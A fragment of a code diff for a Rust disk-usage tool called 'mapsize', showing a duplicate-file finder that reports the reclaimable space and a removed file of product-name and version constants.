|
||||
textutil::signed_size(c.delta),
|
||||
textutil::sanitize(&c.path)
|
||||
)?;
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn run_duplicates(out: &mut dyn Write, cancel: &Cancel, tree: &RwLock<Tree>) -> Result<(), Error> {
|
||||
let f = duplicate::Finder::default();
|
||||
let groups = f
|
||||
.find(
|
||||
cancel,
|
||||
tree,
|
||||
duplicate::Options {
|
||||
min_size: 1,
|
||||
workers: 0,
|
||||
},
|
||||
)
|
||||
.ok_or("cancelled")?;
|
||||
let t = tree.read().unwrap();
|
||||
let mut wasted = 0;
|
||||
for g in &groups {
|
||||
wasted += g.wasted();
|
||||
let h: String = g.hash[..6].iter().map(|b| format!("{b:02x}")).collect();
|
||||
writeln!(
|
||||
out,
|
||||
"{} × {} (sha256 {h}…)",
|
||||
textutil::size(g.size),
|
||||
g.files.len()
|
||||
)?;
|
||||
for &id in &g.files {
|
||||
writeln!(out, " {}", textutil::sanitize_bytes(&t.path_bytes(id)))?;
|
||||
}
|
||||
}
|
||||
let p = f.progress();
|
||||
writeln!(
|
||||
out,
|
||||
"\n{} verified duplicate groups, {} reclaimable ({} candidates by size, {} unreadable/changed)\n",
|
||||
groups.len(), textutil::size(wasted), p.candidates, p.skipped
|
||||
)?;
|
||||
Ok(())
|
||||
}
|
||||
@@ -1,11 +0,0 @@
|
||||
//! Product name isolated so it can be changed in one place.
|
||||
|
||||
pub const NAME: &str = "mapsize";
|
||||
pub const SNAPSHOT_EXT: &str = ".msz";
|
||||
pub const SNAPSHOT_MAGIC: &[u8; 8] = b"MAPSIZE\x00";
|
||||
|
||||
/// Overridden at release time via the MAPSIZE_VERSION environment variable.
|
||||
pub const VERSION: &str = match option_env!("MAPSIZE_VERSION") {
|
||||
Some(v) => v,
|
||||
None => env!("CARGO_PKG_VERSION"),
|
||||
};
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user